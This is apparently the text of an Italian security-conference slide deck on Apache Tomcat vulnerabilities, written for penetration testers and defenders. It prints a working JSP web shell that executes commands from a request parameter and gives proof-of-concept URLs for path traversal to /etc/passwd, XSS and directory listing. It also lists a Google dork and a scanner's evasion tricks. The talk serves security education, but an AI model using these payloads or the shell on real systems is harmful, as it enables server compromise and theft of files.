Apache Tomcat è probabilmente una delle più note implementazioni delle tecnologie Java Servlet e Java Server Pages. Sebbene l’Apache Software Foundation considera la sicurezza dei suoi prodotti come un requisito di primaria importanza, nel corso degli ultimi anni sono state scoperte numerose vulnerabilità. Queste debolezze permettono attacchi di cross site scripting, directory listing, directory traversal, escalation dei privilegi sino all’esecuzione di codice arbitrario. Analizzando il passato, cercheremo di identificare il futuro di questo application server in termini di sicurezza.
http://www.ikkisoft.com
2. Di cosa parliamo oggi...
• Quali sono le principali vulnerabilità
scoperte in Apache Tomcat
• Come sfruttare queste debolezze, dal
punto di vista dell'aggressore
• Quali vulnerabilità ci dobbiamo aspettare
nel futuro prossimo
• Attualmente lavoro come pentester in
una grande banca internazionale
• Ricerco vulnerabilità for fun (and profit)
• Mi interesso di web application security
ed ethical hacking
• Sono membro della comunita’ OWASP
btw: partecipate al capitolo Italiano :)
• luca.carettoni[at]ikkisoft[dot]com
3. Security in depth
Application Security
Web Server Security
Database Security
Operating System Security
Network Security
Physical Security
4. Apache
Tomcat
• Apache Tomcat è un moderno Servlet
container sviluppato dall'Apache
Software Foundation
• http://tomcat.apache.org/
• Pure 100% Java Application Server
• Open Source, facile da installare,
abbastanza performante...quindi,
praticamente perfetto ? Non proprio
• Implementa diverse versioni delle
tecnologie Java Servlet e Java Server
Pages (JSP)
Servlet/JSP Specification Apache Tomcat version
2.5/2.1 6.0.18
2.4/2.0 5.5.26
2.3/1.2 4.1.37
2.2/1.1 3.3.2 (deprecata)
5. Powered by Apache Tomcat
• E' stato scaricato più di 10 milioni di volte.
Ipotizziamo che solamente l'1% di questi
download ha portato all'utilizzo in produzione,
il risultato è assolutamente sconvolgente
• Parliamo di più di 100000 installazioni
• Largamente utilizzato da numerose
organizzazioni e società: WalMart, O'Reilly On
Java, JBOSS ed il portale Italiano
VolareGratis.com
• Si stima che circa la metà della global
Fortune 500 utilizzi in una qualche
installazione Tomcat e derivati
• Date un occhio alla popolarità del sito:
http://people.apache.org/~vgritsenko/stats/project
s/tomcat.html
6. Tomcat in the wild...
• Google dork:
12,600 for intitle:quot;Directory Listing
For /quot; + inurl:tomcat-docs tomcat
7. Tactical Exploiting 1/3
• Spesso l'aggressore non deve nemmeno
sfruttare vulnerabilità
• Sono gli amministratori che lasciano
accessibile una risorsa preziosa
• Default Manager Console
http://x.x.x.x:8080/manager/html
• LambdaProbe Console
http://x.x.x.x:9099/probe/
• Spesso esposta
• Spesso protetta da password non robuste
• Per la mia esperienza, troppo spesso !
9. Tactical Exploiting 3/3
• Oltre ad ottenere informazioni sulla
configurazione e sullo stato dei sistemi,
un aggressore può alterare le
configurazioni e compromettere
l'ambiente di fruizione !
• Vediamo, in breve, come:
<%@ page import=quot;java.io.*quot; %><%try { Runtime rt = Runtime.getRuntime(); String
cmd = request.getParameter(quot;cmdquot;); Process ps = rt.exec(cmd); BufferedReader
outReader = new BufferedReader(new InputStreamReader( ps.getInputStream()));
BufferedReader errReader = new BufferedReader(new
InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine
= null; out.println(quot;<pre>quot;); while ((outLine = outReader.readLine()) != null
|| (errLine = errReader.readLine()) != null) { if (outLine != null)
out.println(quot;out: quot; + outLine); if (errLine != null) out.println(quot;err:
quot; + errLine); } out.println(quot;</pre>quot;); outReader.close();
errReader.close(); } catch (Exception ex) { out.println(quot;Exception message. Some
problem?!?quot;); ex.printStackTrace(); }%>
10. Apache Tomcat - Cronologia
• La code base iniziale e' stata donata da Sun
all' Apache Software Foundation nel 1999
• La prima versione ufficiale è stata la v3.0
4.1.31 4.1.36
4.x
5.0.0 5.0.28
5.0.30
5.0.x
5.5.12 5.5.17
5.5.0 5.5.4 5.5.9 5.5.16 5.5.23
5.5.1 5.5.7 5.5.15 5.5.20 5.5.25 5.5.26
5.5.x
6.0.14
6.0.13 6.0.18
6.0.0 6.0.10 6.0.16
6.x
2002 2003 2004 2005 2006 2007 2008
La versione attuale è la 6.0.18 (ad oggi, 18/10/08)
Fonte: en.wikipedia.org
14. Vulnerabilità per severità
Low
High
Medium
• Low: Info Disclosure, Denial of Service
• Medium: Sensitive Info Disclosure, Cross
Site Scripting, Session Hijacking
• High: Directory Traversal, Lettura/Scrittura
File Arbitrari, Esecuzione di Codice Arbitrario
16. CVE-2008-2938
• Directory Traversal Vulnerability
• Author: Simon Ryeo
• Severity: High
• Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x
• Exploit Proof-of-concept:
http://www.example.com/%c0%ae%c0%ae/%c0%ae
%c0%ae/%c0%ae%c0%ae/etc/passwd
• Note: context.xml oppure server.xml deve
permettere allowLinking e URIencoding come “UTF-
8”.
UTF-8 Encoding
2 bytes, 11bits, 110bbbbb 10bbbbbb
%c0%ae = “.”
%c0%af = “/”
17. CVE-2007-2449
• Multiple Cross Site Scripting (XSS)
• Author: Unknown (reported to JPCERT)
• Severity: Medium
• Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-
5.5.24, 4.0-4.0.6, 4.1-4.1.36
• Exploit Proof-of-concept:
http://www.example.com/jsp-
examples/snp/snoop.jsp;[xss]
• Note: Nessun tipo di validazione. Il classico vettore
di attacco <script>alert(123);</script> viene
correttamente inoltrato
18. CVE-2006-3835
• Directory Listing Vulnerability
• Author: ScanAlert.s Enterprise Services Team
• Severity: Medium
• Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-
4.0.6, 4.1-4.1.31
• Exploit Proof-of-concept:
http://www.example.com/;index.jsp
http://www.example.com/help/;help.do
• Note: Vulnerabile invocando qualsiasi risorsa
(estensione) valida, anche se non esistente,
preceduta da un punto e virgola
19. Tomcat ZOO
The «all-in-one» exploit
• Pentesting tool, specifico per verificare
vulnerabilità note di Apache Tomcat
• Sviluppato in PHP (richiede solo –enable-cli)
• Rilasciato GPL v2
• Attualmente copre il 27% dei CVE per Tomcat:
* CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385
* CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386
* CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333
* CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461
---------------[ Script Options (basic) ]------------------
Usage:php TomcatZOO.php host port proxy
host: target server
port: the web port, usually 8080
proxy: use a proxy defined as IP:PORT:USER:PASS (optional)
Example:
php TomcatZOO.php www.example.com 8080
php TomcatZOO.php www.example.com 80 127.0.0.1:1234::
php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
20. Tomcat ZOO
The «all-in-one» exploit
Caratteristiche avanzate:
Supporto HTTP (senza l'uso di libcurl)
Supporto Proxy
Opzione di debug
Personalizzazione User-Agent
Primitive tecniche di evasione
1: fake HTTP GET/POST parameters
2: random case sensitivity
3: Windows directory separator instead of /
4: URL encoding applied to URI, HTTP pars and header
ToDo:
Supporto HTTPS (per ora utilizzate l'ottimo
www.stunnel.org. Thx Michal!)
Coprire la globalità delle vulnerabilità di Tomcat
analizzabili durante black box testing
21. Tomcat ZOO
The «all-in-one» exploit
• Disponibile prossimamente (entro fine anno)
• Lo troverete qui:
http://www.ikkisoft.com/tomcatzoo/
• E' un tool per ethical hacking !
22. E nel futuro...
• Ancora problematiche di validazione dell'input,
sebbene il codice si sta stabilizzando
• Sicuramente ancora Denial of Service, considerando la
numerosità e la complessità dei componenti
• Sicuramente ancora Cross-Site Scripting
• (Tendenzialmente) nessun buffer overflow.
I componenti non sviluppati in Java sono limitati
• Come difenderci quindi?
• Reattività: mantenersi aggiornati e preparare già ora
un ambiente di test dove provare le future release,
prima della messa in produzione. Estote Parati !
• Online patching: Application firewall e simili, pronti
per essere configurati ad-hoc appena viene rilasciata
una nuova vulnerabilità